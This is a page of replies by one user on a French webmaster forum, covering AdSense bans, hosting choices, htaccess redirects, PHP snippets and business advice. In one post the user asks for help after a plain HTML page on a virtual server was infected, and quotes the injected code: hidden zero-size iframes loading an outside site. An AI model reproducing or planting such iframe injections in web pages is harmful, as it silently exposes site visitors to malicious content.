georges

quel genre de pub affichait adsense ces derniers temps ? pour voir s'il y a eu une sorte de signal...

Tu as d'autres sites où adsense était affiché (autres que ceux de ta signature) ? ben, donne-le quand même (une fourchette)... as-tu observé une augmentation subite de tes gains récemment ?

le mieux serait quand même de te rapprocher d'un expert-comptable, certains peuvent gratuitement te conseiller sur la meilleure formule nb : -> des risques inhérents

aïe, je compatis et ne suis pas rassuré... Pas de clics "persos" ou familiaux ? Pas d'incitation au clic non plus ? Ou des images à côté des pubs ? car je me dis que cela peut arriver à n'importe qui maintenant si ce que tu dis est vrai..

c'est peut-être en (grande) partie dû aux nombreuses extensions que tu as installées, non ? nb : je ne suis pas un fana de FF, non plus

if (!in_array ("$id_tous_accesoire", $id_accessoire_liaison)) retire les "" if (!in_array ($id_tous_accesoire, $id_accessoire_liaison)) edit je dis des betises

je crois que le site webmasterhub a adopté un style "élastique" permettant de s'adapter à n'importe quelle résolution, non ?

salut, mon avis strictement perso : il existe encore plein de gens qui disposent d'un radio-cassette ou d'une voiture qui roule à l'essence plombée : est-ce que pour autant la grande majorité des grandes majors éditent leurs tubes au format "K7" et la plupart des stations-essence distribuent encore du plombé ? ce que je veux dire, c'est que le monde change, la technique évolue et qu'il faut parfois forcer la main aux récalcitrants... mais si l'on ne s'appuyait que sur ces derniers, on écouterait seulement le champ des grillons et l'on ne pourrait se transporter que sur le dos des dinosaures mais bon, ça a son charme, hein, surtout dans l'administration paraît-il (pour les 800*600)

si l'on pouvait se réinscrire après avoir été éjecté, il serait où l'intérêt de la résiliation ? histoire de s'échanger des mails alors donc, malheureusement, non, on ne peut pas se réinscrire et je ne connais pas de cas de réinscription après bannissement... (j'ai vu ici et là des cas de réintégration mais c'était pas vraiment clair).. le bannissement de google concerne un compte, pas un site. tu peux très bien le revendre er demander à l'acquéreur de signaler le changement de propriétaire

ok, dans ce cas, rien n'empêche alors de tout mettre à la volée dans un htaccess alors mais je ne sais pas la réaction d'un serveur devant l'analyse de 5000 règles de redirection. Bonne continuation

oui, mais tu déclares juste avant : donc aucun script ne pourra générer automatiquement les nouvelles urls à la volée puisqu'il n'y a pas de "logique"... je veux dire que si l'on ne peut "pas mettre en place de règle de ré-écriture", on ne peut pas non plus créer un script qui le fera à ta place :!: EDIT -> cela dit, si par un moyen quelconque (mais c'est pas clair ), tu arrives à générer tes nouvelles urls, la réponse est oui, tu peux ensuite tout balancer dans un htaccess.. sauf je n'ai jamais utilisé de htaccess de 5000 lignes..

5000 urls à rediriger manuellement vers 5000 autres urls sans passer par l'url-rewriting, je ne sais pas si ça va être élégant mais ça va être harrassant pour celui qui va devoir le faire et je pense humblement que c'est carrément utopique même d'y songer... ou alors je n'ai pas tout compris...

salut, il y a quelques mois déjà, je suis passé d'un hébergeur X pour un autre Y et tout s'est déroulé "normalement". Les backlinks qui étaient en place ont fait leur travail correctement (il s'agissait bien d'un changement de DNS, pas de nom de domaine). N'ai eu à aucun moment de mettre en place des redirections 301 ou autres.

certains hébergeurs interdisent la connexion à distance pour leur BDD ? T'es-tu assuré que tu avais le droit de le faire ?

ce n'est pas le nombre de sites que vas gérer qui importe mais leur trafic Vivre uniquement de la pub sur le dos d'une EURL (quelle que soit la forme adoptée d'ailleurs), c'est risqué, je pense... pour ma part, les revenus publicitaires représentent une part négligeable des revenus... même avec 400000 affichages ("impressions") par jour. il te suffit de le déclarer dans l'objet de la société

je n'ai pas fait une recherche en profondeur mais j'ai trouvé cela http://krijnhoetmer.nl/stuff/javascript/maximum-cookies/ qui semble indiquer que c'est selon le navigateur et non la plate-forme..; mais finalement, en quoi la réponse peut-elle t'aider si ce n'est pas indiscret ?

ce n'est pas le cas de tout le monde ! pourquoi prendre le risque de tout perdre ? le mieux est l'ennemi du bien...

salut, tes questions sont trop pointues pour moi mais si j'interviens c'est pour te donner un conseil : attache-toi les services d'un comptable, tu ne navigueras plus à vue

encore une fois, tout dépend très précisément de la thématique... et du public visé...

en lisant le titre "ovh ou 1&1", je me disais que c'était quand même dommage de se restreindre quand on a le choix... je suis également chez oxyd (un peu cher, réactivité et qualité support à désirer), sivit (RAS sur tous les points) et aussi celeonet (support de qualité mais pas très réactif) pour quelques sites, et jusqu'à maintenant, je n'ai pas eu à m'en plaindre, au contraire ;o) peut-être bien mais quand on est content, il y aura toujours également des personnes pour mettre en avant tel ou tel hébergeur ou pour les défendre ;o)

Merci Interdit de tes réponses. Effectivement, le enable_dl est ON. Pour le register_global, je suis OK avec toi sur les conséquences sur un script php mais de là à favoriser une injection de code dans une page en pur html, il y a un fossé, non ?

bonjour, j'ai un gros doute sur la sécurité d'un serveur virtuel (VDS). La situation est la suivante : comment expliquer qu'une page contenant strictement du html et strictement aucune variable, ni code PHP initialement codé ainsi: <html> <head><title>un titre</title></head> <body> <h1>un autre titre en h1</h1> <ul> <li>item</li> <li>item</li> <li>item</li> <li>item</li> </ul> </body> </html puisse se retrouver infecté avec : <html> <head><title>un titre</title></head> <body> <h1>un autre titre en h1</h1> <ul> <li>item</li> <li>item</li> <li>item</li> <li>item</li> </ul> </body> </html <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=r3dlabel marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=r3dlabel marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=r3dlabel marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=r3dlabel marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> Mon hébergeur prétend que c'est à cause du register_global à ON plutôt que à OFF mais je ne vois pas le rapport ni la pertinence d'une telle réponse dans cas précis... Le pire c'est que c'est la seule et unique page du site !!! Une idée ??

et ce sera encore mieux (en tout cas pour google) avec http://www.locarama.eu/location-bateau/sans-permis.html

t'es juste en retard de quelques jours...

Ben voilà, tu as tout compris : ce n'est pas l'image que l'on stocke dans la BDD mais bien le chemin... du coup, je ne vois donc pas trop en quoi tu aurais besoin d 'aide..